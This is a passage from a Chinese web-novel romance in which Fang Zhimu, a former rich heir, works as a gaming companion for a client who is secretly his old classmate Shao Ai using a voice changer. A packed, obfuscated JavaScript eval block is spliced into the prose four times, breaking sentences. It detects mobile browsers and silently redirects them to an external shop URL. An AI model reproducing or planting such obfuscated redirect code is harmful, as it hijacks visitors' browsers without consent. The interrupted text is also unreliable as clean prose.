从他们刚认识时起,邵艾就是个很有边界感的人,为人处世只有两种态度:别人的事情与他无关,他的事情也与别人无关。方知慕这个问题算是窥探他的私生活,邵艾会生气很正常。 但说出去的话泼出去的水,没办法收回来,方知慕想着该说点什么找补,邵艾已经冷声道:“原来你是来给宋铭松做说客的。怎么,想做我大舅哥?” “……”方知慕张了张嘴。 这真是天大的误会。 他今天会来这里完全是因为跟草莓酱聊天正好聊到了一时间心血来潮罢了,但邵艾似乎以为他早有预谋。 “不是你想的那样。”方知慕道:“我……” 邵艾踩下刹车,侧脸轮廓冷硬,浑身都散发着生人勿近近了就死的气场,“到了。” 方知慕转头,果然看见了熟悉的老旧小区。 于是只好把嘴里的话咽下去,解开安全带道:“谢谢你送我回来。” 雨还没停,方知慕却像是完全忘了这件事,拉开车门就要下去。邵艾叫他:“方知慕。” 方知慕一顿,“还有事吗?” “伞。”邵艾烦得想抽烟,脸色比死了十天的老鼠还臭,衬托着小区外那间大半夜还没关门的便利店招牌所散发出的诡异绿光,拍下来完全就是不需要任何后期加工的雨夜杀人魔。 “……哦。”方知慕倾身把伞拿过来,礼貌道:“再见。” 邵艾扯了下唇角,“不会再见了。” 不等方知慕回话,迈巴赫已经呼啸而去,泥水差点溅方知慕一身。 “。” 要不说男人有钱就变坏呢,邵艾以前哪有这么大脾气。 方知慕深一脚浅一脚地往小区里走,走着走着,忽然叹口气。 好吧,其实邵艾以前也这么大脾气。 回到家里已经是夜里十一点半,邵艾进客厅的时候看见邵苡竟然破天荒地在客厅里坐着等他。 自从上次吵架,邵苡就一句话没跟他说过。 “你去哪里了?”邵苡看着邵艾,恨不得自己的一双的眼睛是X射线,“这么晚了还出去鬼混,竟然好意思说我?” “……”邵艾面无表情道:“邵苡,别找茬。” 邵苡猛地站起来,“你是不是找高希玥去了?你不是要跟宋蔓结婚吗?” 宋蔓宋蔓宋蔓……怎么一个个的全都在提宋蔓。他连宋蔓吸溜着鼻涕泡给班里暗恋的小男生用通篇错别字和拼音写情书的样子都见过,究竟谁会觉得他能把人娶回家来当老婆? 邵苡脑子不灵光,方知慕更是个蠢货。 “你不准跟宋蔓结婚。”邵苡大声道。 “为什么?”邵艾鼓励地看着她,希望她能自己发现这门婚事原本就不可能。 “因为我不喜欢她。”邵苡一脸不爽,“她那么羞辱知慕哥哥,将来肯定也会刁难我,我才不要这种人当我嫂子。” 邵艾一时间没想明白宋蔓羞辱方知慕和刁难邵苡之间到底有什么必然的联系,但是他今天太累,不想跟邵苡吵架,道:“没去见高希玥,也没去见宋蔓。” 他抬起手,露出拎着的塑料袋,“吃吗?” 邵苡莫名其妙地接过来,打开一看,愣了愣。邵艾道:“一中后门那家,你小时候喜欢吃,不知道现在还喜不喜欢。” “你专门去买的吗?” 邵艾:“我梦游去买的。” 邵苡眼眶发红,看着手里的糖饼,都不好意思再跟邵艾发脾气了,软下声音:“谢谢哥。” 没想到这招过了这么多年还是好使,这也算是这操蛋的一天唯一的收获,邵艾终于感到一丝放松。 结果下一秒,邵苡就这死丫头就说:“可是这么好吃的糖饼知慕哥哥再也吃不到了呜呜呜呜呜。” “……”邵艾额角青筋跳了跳,“方知慕只是家里破产了,不是死了。” 今晚上还身残志坚瘸着个腿冒大雨去买糖饼,怎么就吃不到了。 “可是以前都是我们一起吃的啊。”邵艾边吃边抹眼泪,十六岁的大姑娘了,哭起来还是乱七八糟,“以前都是知慕哥哥买给我吃,现在他会不会连糖饼都买不起了啊呜呜呜呜。” 邵艾:“你在想什么,他送外卖挺挣钱的。” 所以他也不明白方知慕为什么要住在欣悦小区那种地方。按照他的收入,居住环境不说多好,换个普通正常的小区应该不会有很大压力。总不能是在攒钱娶老婆。 想到这里,邵艾一僵。 也不是没这可能,方知慕今年都二十八了,以普罗大众的眼光看,确实到了结婚的年纪。 邵苡还在哭哭啼啼:“他现在一个月挣的钱还不够买他以前一双鞋呢,那叫挣钱吗!” 邵艾竟然无法反驳。 “哥。”邵苡可怜巴巴地看着邵艾,“不然我们送他一套房吧?你不是给我买了好几套准备等我成年过户给我吗?我想把其中一套给他。” “……”邵艾道:“我跟你说过了,如果他肯要,现在就是宋家的大少爷,不至于去跑外卖。” 邵苡退而求其次:“那我去见见他可以吗?” 本来邵艾是没打算让邵苡和方知慕再见面的。十年前方知慕忽然离开,邵苡就发过一次病,他很清楚方知慕对邵苡来说,和他这个亲哥哥几乎是同等的重量。 如果不能建立长期的情感联系,那就最好不要再见面——这是心理医生给出的建议。 但邵艾又想起了极光的话。 他和方知慕,邵苡和方知慕,其实本质上的情感联系是不同的。方知慕不会和他发展恋情,并不意味着他不愿意继续做邵苡的哥哥。 在这件事上,他处理得确实太极端。 “你最近听话点。”邵艾说:“乖乖上学,不要惹事,我会带你见他。” “真的吗?” “真的。” 邵苡用力抱了邵艾一下,“最喜欢你了!” 邵艾:“。” 真是不容易,邵苡最讨厌的人和最喜欢的人竟然都是他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987524|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 淮城多日阴雨后,终于放晴。 柳荫约方知慕出去吃饭。 方知慕原本有些惊讶,而后打开日历看了下,今天是柳荫发工资的日子,难怪这么豪爽。 有白吃的饭方知慕当然要去,到了地方才知道这抠门鬼所谓的“大餐”就是沙县小吃。 “你不都发工资了么。”方知慕把拐杖放到旁边,有些无语:“连肯德基都不能请我吃?” “本来说上个月要是拿了全勤就请你吃大餐的。”柳荫一边哗啦啦翻菜单一边说:“结果迟到了十二天。” “……”方知慕说:“你们老板没开除你真是仁慈。” 柳荫点了菜,把菜单还给老板,说:“那就说明我是公司的股肱之臣呗。” 方知慕:“因为你爸是他们股东吧。” 柳荫:“。” 他一拍桌子:“还能不能聊天?” 方知慕莞尔,柳荫想起来什么,招招手:“老板,其中一份炒粉不要辣椒啊,一点都不要!” “你戒辣了?”方知慕莫名。 “是你。”柳荫指指方知慕,“从衍专门给我打电话,说你现在最好少吃辣椒,骨头会痒。” “他那么忙还有空给你打电话?” “一直都对你的事很上心啊。”柳荫说:“不过看他家里的态度,你们不可能,我都想劝劝他赶紧另觅良人了。” 方知慕无奈,“我和从衍不是那种关系,你别乱说。” 柳荫对此不置可否。 “我们前段时间不是接了博豪的一个外包单子么。”柳荫跟方知慕说起八卦,“还记得我跟你说过吧,博豪就是伍天华工作那家公司。” 方知慕点点头,假装记得。 “昨天交接的时候,看他们那边的负责人愁眉苦脸,我就多问了一句,你猜怎么着?”柳荫挑起眉毛:“从邵艾回淮城开始,博豪就想跟他合作,伍天华鞍前马后殷勤妥帖,简直跟总管太监差不多了,结果人家邵艾直接给博豪否了,伍天华竹篮打水一场空,天天挨老板骂,他受了气就朝下面人撒气,搞得乌烟瘴气。” 方知慕有点惊讶,“邵艾和伍天华真不是朋友啊?” “听见你这么说伍天华肯定会感动死的。”柳荫撇嘴,“他也就是占了个高中同学的名头,念高中那会儿他不还看邵艾不顺眼,把他堵厕所过?现在人家发达了,又凑上去奉承,要是我也不会跟他们合作。” “说起来,伍天华找你麻烦没?”柳荫好奇问。 方知慕摇头。 “不像他的作风啊。”柳荫疑惑,“他衣服那么贵,怎么会一点动静没有。” 方知慕也觉得奇怪。伍天华这人睚眦必报,没道理都不饶人,要是他稍微占了点理,那就恨不得从人身上咬下一块肉来。这件事竟然没后续。 “可能是工作上的事情太多,让他焦头烂额,暂时没想起来找我麻烦。” 柳荫晃了晃手指,“那你还是对伍天华不够了解——他没找你麻烦,只能说明已经有人帮你把这个麻烦解决了。” 17.chapter17 “有没有可能是宋铭松做的?”柳荫猜测,“虽然他这人人品很难评价,但你毕竟是他儿子……” 方知慕笑了下,“不会是他。” 十一万对宋铭松来说不算什么,他也不介意对方知慕伸出援手,但这一切的前提是方知慕求他——宋铭松从没有做好事不留名的高贵品德。 他要的是方知慕的示弱和妥协,让方知慕欠他,这样才能控制他。 默不吭声给伍天华一笔钱让他闭嘴,宋铭松就是梦游都不可能做出这种事。 “那就是从衍了。”柳荫打了个响指,“你问问他?” 方知慕有点头痛。 如果是从衍,根本不可能问出来。这人多半会一脸疑惑,脸上写着大大的两个字——“我吗?” “不管怎么样,伍天华不来找你晦气都是好事嘛。”柳荫拍拍方知慕的肩膀,忽然想起什么,“对了,理查德是不是要放出来了啊?他竟然就判了两年,现在想想我都还是觉得太便宜他了。” 方知慕差点都要忘记这件事了。算算时间,再过两三个月,他就该出狱了。 柳荫道:“要不然你最近还是搬来跟我住吧?你现在住那里他知道,我怕他出来后会找你麻烦。” “你合租室友没意见?” “大家都是男的,这有什么。” 方知慕道:“多了一个陌生人多多少少会觉得不自在吧……没事的,我会在他出来前搬走。” “你终于决定搬走了?”柳荫很是欣慰:“我早就说住在那种地方气场都会被影响,你看看你这几年多倒霉啊,搬走了肯定能转运。” 方知慕对这些虚无缥缈的东西并不在意,他决定搬走只有一个目的,那就是躲理查德那个神经病。 他真是不想跟这人有半点牵扯了。 “你陪玩应该做得还不错吧?”柳荫又操心方知慕的经济情况,从两人认识开始他就有操不完的心,简直像是方知慕的第二个妈,“收入还可以的话就先不要跑外卖了,风吹日晒雨淋的,太辛苦。”他伸手捏捏方知慕的脸颊肉,叹气:“看看这漂亮小脸,都变糙了。” 方知慕:“……少发神经。” “你那个大老板怎么样?”柳荫又问:“难伺候吗?” “挺可爱的一个小妹妹。”方知慕撑着下颌说:“青春期的小孩子还挺好玩儿的,一会儿是家庭问题一会儿是恋情问题,生活丰富多彩,跟她相处感觉身上的尸斑都淡了。” 柳荫打量他,方知慕:“你又干嘛?” “我觉得,就算你们的合约结束了,也可以多相处相处。”柳荫道:“你身上那种死人味儿确实淡了一些。以前是死人微活,现在是半死不活。果然还是要跟年轻人多打交道啊。” “跟我这种社畜混在一起你只会沾上一身的班味。”柳荫感慨:“难怪大家现在都喜欢找什么小奶狗小狼狗呢。” 方知慕失笑。 晚上方知慕照常上线,草莓酱迟到了五分钟。她说:“不好意思啊哥哥,我突然有个会。” 方知慕疑惑:“你们学生这个点还要开会?” “……嗯,学校的活动安排。”草莓酱说:“哥哥没有经历过吗?” 方知慕:“我起码比你大一轮,念书那会儿没有腾讯会议也没有钉钉。” 邵艾挑了下眉。听声音感觉极光也就二十出头的年纪,像是大学生……不对,现在高科技横行,弄张声卡谁都是男神音,没准极光现实里是个胡子拉碴的抠脚大汉。 “哥哥今年几岁了?”邵艾随口问了句。 “二十八。”年龄不是什么不能说的东西,方知慕回答得也很随意,“过几个月就要二十九,正式奔三了。” “好巧。”竟然是同龄人。 方知慕疑惑:“巧什么?” 邵艾:“……我十八,你刚好比我大十岁呢。” 这段时间方知慕一直带着草莓酱上分,两人的段位已经高了不少,同局玩家的水平自然也是水涨船高,所以他们也会匹配其他人一起组四人局玩儿,否则双人四排暴毙的概率太大。 这把游戏刚进大厅,方知慕就听见一道低沉的男声:“喂喂喂?能听见吗?我是三号。” 方知慕是一号邵艾是四号,二号挺沉默寡言,没有搭理,方知慕出于礼貌,开口道:“你好,能听见。” “兄弟,你技术怎么样?能不能带我吃鸡?”三号非常健谈,“不如我们还是求稳一点,跳个偏僻一点的地方吧,要是落地成盒就太没意思了,我马上就要升段了,伤不起啊。” 方知慕:“这个我决定不了,要问问我老板。” 三号立刻明白过来,“兄弟,你是干陪玩的啊?草莓草莓酱就是你老板吧?” “嗯。”方知慕道:“老板,我们跳哪儿?” “我都可以啊。”草莓酱说:“反正不管跳哪里,哥哥都会保护我。” 邵艾其实就是惯例装一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995219|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甜妹,殊不知他一开口,三号的直播间立刻就炸了锅—— 【我去,妹子!名字取的甜,声音更是甜!】 【老董你快上啊,今晚排了这么多把,这可是唯一一个甜妹,你赶紧跟人加好友多打几把。】 【听起来年纪蛮小的,肯定很好撩。】 【是大家喜闻乐见的牛头人剧情,老董你要是当着她陪玩的面成功撬墙角,我立刻送你火箭。】 【这妹妹好有钱,这一身服装都是商店抽奖抽到的吧,富婆啊。老董你要是傍上富婆了可别忘了兄弟们。】 “……” 游戏里的三号是个游戏主播,ID叫老董,虽然游戏技术还不错,但游戏打得好的人太多了,他并不是其中拔尖的,所以走的另一条赛道——在游戏里随机排路人,故意勾搭小姑娘制造节目效果,虽然挺低俗,但爱看的人还真不少。 像草莓酱这样有钱的甜妹是绝佳的素材,老董自然不会放过,对直播间的观众放下豪言壮语:“放心吧,这种小妹妹,我分分钟拿下。” 游戏刚进行几分钟,邵艾就感觉自己像是被苍蝇缠上了。 因为三号一会儿问妹妹M4要不要一会儿问妹妹倍镜要不要,邵艾没脸没皮:“要,你扔地上给我。” “你叫声好哥哥我就给你。”老董笑嘻嘻道:“待会儿击杀人头我也让给你,保证带你吃鸡,我们加个好友以后一起打游戏呗?” “……”草莓酱说:“你自己留着吧。” “可是你都没枪。”老董道:“身上就只有一个平底锅,多危险啊。” 邵艾冷笑一声。 上次死在他平底锅下的两个傻逼可不这么想。 “哎呀,就是让你叫声哥哥嘛,又不会掉块肉,你不也叫你陪玩哥哥吗?”老董又说:“我技术肯定比你陪玩好,不如你跟我玩儿吧,我不收你钱。” 草莓酱直接开门离开房间,不想跟他共处一室。 方知慕跟草莓酱打了这么久游戏,从语气就能听出来她有些不舒服了,他默默走到穷得跟个人机似的的草莓酱旁边,将刚刚捡到的AK丢到地上,轻声道:“草莓,你先拿这个。” “可是哥哥,我压不住AK诶。”草莓酱说:“还是你拿着吧,我躲在你身后就好啦。” “没事。”方知慕坚持,“你拿着。” 草莓酱只好捡起AK,方知慕转身走到三号面前,说:“我管你叫哥,你M4能给我不?” 18.chapter18 老董没有想到他在带妹的时候也能这么没气节,瞥了眼直播间的反应还挺热烈,他当即道:“可以啊,你叫一声我听听。” 方知慕没觉得这有什么大不了,相当干脆:“哥,M4给我行吗?” 老董笑道:“兄弟,为了把枪在老板面前这样没关系吗?” 方知慕为的并不是枪,而是三号这样一直骚扰草莓酱挺烦的,但他只是笑笑:“你不会食言吧?” “怎么会。”老董当即就将手里的M416丢在了地上,“我这人一向说话算话。” 方知慕毫无心理负担地捡起枪,跑到草莓酱旁边,“我跟你换。” 打了这么多天游戏,草莓酱的技术虽然有所提升,但也就是比人机好点,M4更适合她。 草莓酱却不知怎么的更不高兴了,“不要。” 方知慕有点奇怪:“你之前不都爱用这个吗?” “我现在不爱了。” 她这两句话语气生冷,听着和平时那个一开口就甜得能滴水的人截然不同,方知慕一愣,不明白老板为什么忽然就生气了。 邵艾也意识到自己太阴阳怪气,但他丝毫不改,“我才不要别的男人的东西。” 方知慕:“。” 他是真的搞不懂这个小女生,只是一串数据而已,被老董的游戏人物摸过还能传染赛博病毒不成? “但你压不住AK。”方知慕道:“先拿着吧,我之后另外给你找一把。” “哥哥保护我就好了嘛。”草莓酱拉长了声音:“就算死了也没什么,反正我不要其他男人的东西。” 方知慕::“……好吧。” 老董忍不住道:“你们是不是忘了队内语音我也能听见?草莓酱妹妹,我只是想要跟你交朋友,没有得罪你吧?” 草莓酱直接没搭理他,找到了一辆小摩托:“哥哥来开车带我。” 老董忙道:“妹妹坐我车吧,我有最新的跑车皮肤。” 草莓酱:“我乐意坐我哥哥的破摩托,要你管。” 老董的直播间一片嘲: 【哈哈哈哈哈,这好像是老董搭讪妹子以来最惨的一次,大失败啊我的哥。】 【笑死了,人家妹妹不吃这套。】 【草莓酱身上那套衣服都要不少钱了,她会没有跑车皮肤吗?真不知道主播在炫耀什么。】 【冲啊老董,就要这种有挑战性的拿下才有成就感嘛,一钓就上钩的多没意思。】 【主播加油,我给你刷火箭!】 老董见节目效果这么好,立刻道:“兄弟们放心,我肯定能拿下她。” 邵艾和方知慕都不知道三号队友其实是个游戏主播,他们的这局游戏正在被上万人同时观看,邵艾只觉三号简直有病,明明他厌恶的态度都已经那么明显了,三号还腆着脸往上凑,他走到哪里跟到哪里。 遇到人他就把人打倒让草莓酱去补,捡到好东西就问草莓酱要不要,这些就算了,他还恶意抢方知慕人头。 “砰砰砰”一阵枪响,被方知慕瞬狙残血的玩家变成盒子,人头再次算在了三号身上,方知慕一顿。 他打倒了七八个,却只拿了两个人头,要是旁人早就生气了,但方知慕不想计较这些,反正主要是为了陪草莓酱玩儿,草莓酱高兴就好了。 问题就在于,草莓酱好像并不高兴。 “喂。”草莓酱冷冷道:“一次两次就算了,这是第五次了,你到底想要怎么样?” 老董笑嘻嘻道:“是你哥哥技不如人嘛,我有什么办法,他也可以淘汰我击倒的人啊,我又不介意。” “那你倒是别跟在我哥哥身后捡人头啊?”草莓酱气笑了,“你要不要脸?” “我都说了是你哥哥技术不行,妹子,你跟我玩儿呗,我真不收你钱。他这种来当陪玩,都不知道是你陪他玩儿还是他陪你玩儿了。” 方知慕:“……”为什么他一句话不说都要被嘲两句。 “我去趟卫生间。”打了这么久,方知慕有点头晕,道:“等我两分钟。” 草莓酱立刻说:“好哦。快去吧哥哥。” 老董原本只是想要制造直播效果,看见草莓酱前后两幅面孔还真有点不服气了,反正方知慕走了,他更加肆无忌惮,直接道:“妹子,你该不会是喜欢那个陪玩吧?” 草莓酱:“关你屁事。” 老董乐了:“你在他面前说话可不这样。你找他当陪玩多少钱一小时?我给你双倍,你跟我玩儿两把行不行?” “滚。” 老董不肯放弃:“三倍?这价钱已经可以了妹妹,我真挺喜欢你的,我给你钱带你上分,你上哪儿找这么好的好事?” “……”草莓酱的角色忽然转过身,面对老董,道:“我再说最后一次,滚。” “哎呀,你不要这么……” 草莓酱抄起那把方知慕给的AK对着老董,“你话真的好多。” 老董毫无畏惧:“我就站这儿,你能打中我几枪?” 邵艾冷笑,扣下扳机。 “砰砰砰——” 子弹全部命中三号,直接把人打成了盒子。 老董都懵了。 直播间的观众也懵了。 这和之前那个娇滴滴地说自己压不住AK的是同一个人??草莓酱这AK压的跟开了外挂似的,准头完全不受后坐力影响。 邵艾嗤了一声,见方知慕还没回来,关掉变声器,讥诮道:“菜逼。” 老董被这低沉又欠揍的男声吓得差点从电竞椅上摔下去:“我靠?!谁在说话??!” 邵艾轻蔑:“还给我三倍的价钱?我缺你那三瓜两枣吗?傻逼。” “!?!?”老董颤颤巍巍道:“你、你是草莓酱?” 不对啊,这是草莓酱,那之前那个甜妹又是谁? 邵艾仿佛知道他在想什么,“都是你爹,蠢货。” 直播间弹幕都疯了。 【我靠??我就说网上遇见的甜妹都是假的,都是假的啊!】 【哈哈哈哈哈哈我真的服了,难怪老董百试百灵的撩妹套路不管用,原来是因为性别压根不对。】 【一号知道这事儿吗?】 【我要笑死了。】 【别说,草莓的声音还挺好听的,像是帅哥。】 【清醒点吧,这种开变声器男装女的现实生活中都是正方形的抠脚大汉啊啊啊啊啊。】 老董的表情简直像是吃了苍蝇,这时候一号的麦闪了闪:“我回来了,走吧……三号你怎么成盒了?” 老董还没来得及开口,邵艾已经秒开变声器:“哥哥,这个人太菜,被人杀了。” “?!”老董的表情像是吃了一卡车苍蝇:“明明是……” 邵艾:“哥哥,我不想跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17002705|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个人打游戏了,他好像那种变态,我们退掉重开一局吧。” 老董说:“等等,等等啊一号,我有话要说!” 方知慕也早就觉得三号烦人了,听草莓酱这么说,自然没有异议,根本没有搭理三号的挽留,道:“好,退吧。” 就在他按住退出游戏的瞬间,老董的声音撕心裂肺:“哥哥,你妹妹是个男的,你妹妹是gay啊!!” 一号退出游戏。 三号退出游戏。 二号是个独狼,根本没和他们跳一起,老董如鲠在喉,直觉遇到了直播以来最大的滑铁卢—— 再也不会相信网上有甜妹了! 方知慕和草莓酱重开了一句,疑惑道:“我退游戏时那个三号好像说了什么,你听见了吗?” 草莓酱很茫然:“没有呀。不过他说什么都不重要啦,我不喜欢他。” “还有。”草莓酱又说:“你干嘛叫他哥哥?” 方知慕后知后觉反应过来。上把游戏草莓酱一直兴致不高,他本以为是因为三号的骚扰,现在看来……好像不是? “你很介意这个吗?”作为陪玩,方知慕当然尊重老板的一切要求,“我当时是想让他不要再缠着你了,谁知道他反而变本加厉。” 草莓酱哼了一声:“你谁都能叫哥哥吗?” “你不也这样叫我吗?”方知慕奇怪,“只是动动嘴皮子的事而已,不算什么,我也可以叫你哥哥啊。” “……”这次草莓酱沉默了很久,以至于方知慕说要跳伞了都没听见,咳嗽一声道:“那你叫来听听。” 方知慕:“你一个女孩子,让人叫你哥哥是什么奇怪的爱好……” “你刚刚还说可以叫?” “好吧。”方知慕说:“哥哥。哥哥你在哪儿?你去搜仓库,那附近物资比较多。” 草莓酱被他这两声哥哥叫得发晕,心想真是不得了,难道他叫极光哥哥的时候极光也是这种感觉?真是便宜这小子了。 过了大概两三秒,他的脑子才开始处理后面半句话,茫然道:“哥哥……我还飘在天上。” “啊?”方知慕看了下状态,哭笑不得:“你怎么没跳伞。” 飞机到了地图边缘,系统自动跳伞,邵艾颇为无语,“哥哥你别管我了,自己找点物资吧。” 他们几乎在地图的对角,反正待会儿跑圈迟早也会遇见。 方知慕打开地图查看他的位置,道:“放你在那里被人欺负怎么办。自己躲起来,我来接你。” 邵艾张了张嘴。 这鸟不拉屎的地方,除了他这个忘记跳伞的,究竟还会有谁在啊? 但他看着地图上队友的图标奔赴自己而来,心跳忽而久违地漏了半拍。让他想起在很久很久以前,他第一次被人拽进网吧打游戏时,什么都不会,也有人骑着车跨越整张地图,不管不顾地来接他。 等邵艾回神,耳边已经一片摩托车的轰鸣,方知慕一个利落地刹车,摩托原地转了一圈,停在邵艾面前,说:“快点上车。” 邵艾:“干嘛这么着急。” 刚刚这人还挺帅,他正说截张图呢。 方知慕:“这是毒圈你和我都在掉血啊老板!再不跑我们就要一起成盒了老板!” “……”邵艾说:“哦。” 他坐上方知慕的小摩托,道:“你带我亡命天涯吧,哥哥。” 19.chapter19 方知慕听了觉得好笑。身上一瓶药都没有,狼狈跑毒,都能让草莓酱说得这么浪漫。 两人好不容易跑出毒圈,身上的血条都已经见底了,也不知道是不是受草莓酱的影响,方知慕竟然真的有种逃出生天的感觉。 “先去找点药。”方知慕说:“现在这样子,就算是人机的一枪也挨不住。” 草莓酱却没动静,方知慕还以为他卡了,疑惑问:“怎么了老板?” 过了大概一两分钟,草莓酱的声音重新响起:“我有点事要处理,等我会儿,马上就回来。” “……好。” 方知慕觉得有点奇怪。草莓酱总是给他一种割裂感,明明从平时的表现来看就是个天真单纯又有点任性的小女孩,但有些时候,她的用词和态度又会让方知慕觉得自己是在跟一个被生活磨平了棱角的社畜交谈。 方知慕默默将搜集到的药都扔到草莓酱旁边,确保她回来后就能补满血条,然后就守在她旁边不动了。 他担心草莓酱挂机的时候被人趁机杀了。 邵艾这边,他关闭游戏麦克风后,拉开门把手,邵苡站在门口探头探脑:“你在忙吗?忙什么?” “……”邵艾用一根手指头抵住她脑袋,“你在看什么?” “太久没进你房间我有点陌生,想看看怎么了。” 邵艾怎么可能不知道她脑袋里在想什么,“别看了,我房间里没人。” “那我刚才怎么好像听见了说话的声音?”邵苡满脸狐疑。 邵艾:“……游戏。” “你还在玩儿那个游戏啊?”邵苡瞪大眼睛,完全没想到她哥这个大忙人竟然真的会抽出时间玩儿游戏,一般这种事情不都会丢给助理干么?她忙问:“那你觉得极光人怎么样?相信我看人的眼光了吗?” 邵艾:“他算是你垃圾雷达中的漏网之鱼。只是你的雷达失灵了而已,并不代表你看人的眼光有所提升。” 邵苡早就习惯了她哥说话阴阳怪气,也不在意,凑近了道:“那你就是觉得极光人还蛮不错的了?” “你到底想说什么?” 邵苡道:“我最近不是要期末考试了嘛,考完了后好无聊的,你是不是该把我的陪玩还给我了?” 邵艾这才意识到,竟然已经要过去一个月了。 他在少年时代就对各种电子游戏不感兴趣,同龄人在呼朋引伴去游戏厅里打街机时,他不是在写作业就是在帮着外婆捡矿泉水瓶,没机会去,也觉得没意思。 真正接触游戏是在高中。 方小少爷那时候众星捧月,一呼百应,是学校附近网吧的VVVIP客户,他被方知慕强拽进去的时候,连游戏怎么启动都不知道。 虽然跟着方知慕玩了几次,他对这些东西还是提不起兴致,纯粹是因为方知慕喜欢。 十几岁时不感兴趣的东西,马上就要三十岁了,每天晚饭后和极光打游戏倒是成了习惯。 这段时间接触下来,极光确实是个不错的人,温和,耐心,邵艾就没听见过他骂人,除了陪着打游戏,没有任何其他越界的举动,邵苡跟这样的人玩儿,邵艾其实挺放心的。 他该把人还给邵苡了。 邵艾胸口有点发闷。他想大概是因为这几天烟抽太多。明明戒烟都要成功了,见过方知慕后便故态复萌,一切努力白费。 “等你期末考试结束。”邵艾说:“好好考。” 邵苡虽然叛逆,但她成绩这方面确实没让邵艾操心,一直都是年级前三名。 听见哥哥的套话,邵苡翻了个白眼,“知道了知道了,我会好好考的。那你答应我的事也不要忘了。” 邵艾立刻意识到她说的是见方知慕的事,顿了顿,“当然。” 等邵苡离开,邵艾打开游戏画面一看,顿时失笑。 只见极光用各种药把他包围住了,看起来简直像是什么召唤仪式。 “哥哥,我回来了。”邵艾边说边打药:“我们接下来去哪儿?” “找点物资,我们这样进决赛圈就是送人头,”方知慕说:“去前面看看,那里爆发过大战,肯定很多盒子。” 两人坐上车离开,方知慕正专心留意枪声,忽然听见草莓酱问:“哥哥,你在哪个城市啊?” “嗯?”方知慕说:“淮城。怎么了?” 邵艾愣了下。 竟然是同城。 “我也在淮城。”邵艾道:“我从小在这里长大,后来离开了一段时间,今年才回来。” “这么巧,我也是这里出生的。”方知慕笑着道:“回来后还习惯吗?这里变化还蛮大的,有些地方我都不认识了。” 邵艾其实没什么感觉。 不管是被拆掉的老城区还是变成工厂的美食街,对他来说都没意义。但他回淮城那天,从机场离开,透过车窗看见道边的刺槐树,蓦地想起高中时方知慕体育课偷懒时很喜欢在操场那棵老槐树下打盹,垫着邵艾的校服外套,睡得四仰八叉。 他皮肤白,体质又招蚊虫,一咬一个骇人的大包,搞得邵艾要随身携带花露水不说,还要拿卷子扇风给他赶蚊子。 那棵老槐树在他高考前夕被砍了,就连树桩子都被挖了出来,原本从邵艾的位置看过去,一眼就能看见满树繁花,方知慕“出国”后,那一树繁花也没失了踪迹,且再不复返。 那大概就是邵艾印象中淮城变化最大的一次。 “还好。”邵艾说:“不过哥哥,既然都在淮城,要不要见一面?” 虽然极光人品没问题,声音也挺好听,但没有见过面,邵艾很难确保对方不是个抠脚大叔,要是邵苡真喜欢上他,邵艾会有点心梗。 至于邵苡为什么会喜欢上他……极光人那么好,邵苡会喜欢多正常。 方知慕沉默了一会儿,叹口气,“草莓,你这样不行。” 邵艾:“怎么不行了?哥哥不方便吗?” “不是我不方便,是你不方便。”方知慕责备道:“你对我一点都不了解,我们只是网友关系,你一个十几岁的女孩子出来见网友,不觉得太危险了吗?怎么一点戒备心都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17006729|193044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有。” 邵艾冷笑。 真该让邵苡那个死丫头来听听。 “我又不是每个网友都见。”邵艾说:“因为是哥哥,我才想要见一面的。” 方知慕:“你对我一无所知,要是我对你做了什么,你到时候怎么办?不要轻信别人,尤其是男人。” 邵艾想要录下来天天循环播放给邵苡听。 “哥哥不想见面吗?”邵艾道:“是不是等单子结束,哥哥就会把删掉?我对你来说只是一个普通的老板,对吧?” 方知慕有点头疼。 草莓酱今天怎么这么强势,甚至有点咄咄逼人了。 “我还以为我们已经是朋友了。”草莓酱说:“原来哥哥你是这么想的。” 方知慕:“……我还什么都没说呢。” “那你同不同意?” 